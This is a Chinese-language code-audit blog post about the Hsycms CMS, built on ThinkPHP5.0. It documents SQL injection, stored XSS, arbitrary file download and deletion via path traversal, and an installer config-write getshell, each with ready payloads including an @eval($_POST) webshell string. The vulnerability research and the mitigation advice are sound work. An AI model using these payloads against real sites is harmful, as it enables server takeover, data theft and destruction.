最近几天在入门ThinkPHP5.1,然后随缘找了一个CMS 来练练手。于是找到了Hsycms,发现是基于ThinkPHP5.0开发的,问题不大,说不定有其他收获。但说起HSY,就不得不说到CTF男子天团K&K……
首先看index模块里面的公共函数,发现prevNext函数里面where方法查询的条件是字符串,并且里面有变量。
全局搜一下发现app\index\controller\Show.php里面的index方法调用了这个函数。
反向跟一下发现变量id是可控的,于是可以造成了SQL注入。
首先看一下路由
查进数据库查一下entitle
构造payload:
/news/151) and if(#inject#,sleep(1),1) and ( 1=1
在where方法使用字符串条件时,若条件里面有可控变量应该配合预处理机制确保更加安全。
字符串条件
使用字符串条件直接查询和操作,例如:
Db::table('think_user')->where('type=1 AND status=1')->select();
最后生成的SQL语句是
SELECT * FROM think_user WHERE type=1 AND status=1
使用字符串条件的时候,建议配合预处理机制,确保更加安全,例如:
Db::table('think_user')->where("id=:id and username=:name")->bind(['id'=>[1,\PDO::PARAM_INT],'name'=>'thinkphp'])->select();
via:ThinkPHP5.0完全开发手册
在app/index/controller/Show.php中的sendemail方法。
这里接收POST的数据就直接添加进数据库。
在后台app/hsycms/controller/Site.php这个控制器中,是直接取出然后模板赋值。
模板:app/hsycms/view/site/book.html
可以无论是控制器或是模板文件都没有对的数据进行过滤,这里就可以造成XSS。
提交留言
后台触发
模板的变量输出中,ThinkPHP5.0与5.1处理的方法不一样。
变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo($name);?>!
变量输出
在模板中使用:
Hello,{$name}!
模板编译后的结果就是:
Hello,<?php echo htmlentities($name);?>!
via:ThinkPHP5.1完全开发手册
在app/hsycms/controller/Database.php中downloadsql方法。
这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件下载。
构造payload:
/index.php/hsycms/database/downloadsql/?name=/../../app/config.php
在app/hsycms/controller/Database.php中delsql方法。
这里没有对传递过去的name参数的数据进行过滤,可以造成任意文件删除。
构造payload:
/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock
app/install/controller/Index.php中,首先是config方法,对传进去的db数组写进了session。之后是进入了sql方法。
在sql方法中,session中的'db_config赋值dbconfig变量,然后传进了write_config函数,跟进app/install/common.php,可以看到只是对配置模板做简单的替换,于是造成写配置文件Getshell
在数据库名称这里构造一句话进行写shell。
在最初审计时,不由自主地在数据表前缀这里构造一句话写shell,于是就差点写shel失败。
仔细看了看发现如果要写入配置成功,那在write_config()之前是不能报错的。
而如果想在数据表前缀这里构造一句话写shell,经过测试发现,在执行到register_administrator(),如果不结合这里的SQL语句进构造,在执行时会报错。
update `[PREFIX]user` set password='[PASS]' where username='admin';
进库的时候是这样的
update `sy_',@eval($_POST['p']),#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'
奈何技术尚浅,尝试一段时间后发现可以构造以下payload。
sy_user` set password=1 or '.@eval($_POST["q"]).'#
进库的时候是这样的
update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'
成功Getshell
由于是第一次审计MVC框架开发的CMS就写得有点详细(luosuo),若有错误之处,还请各位师傅斧正。
经过这次审计练习后,收获还是挺多的。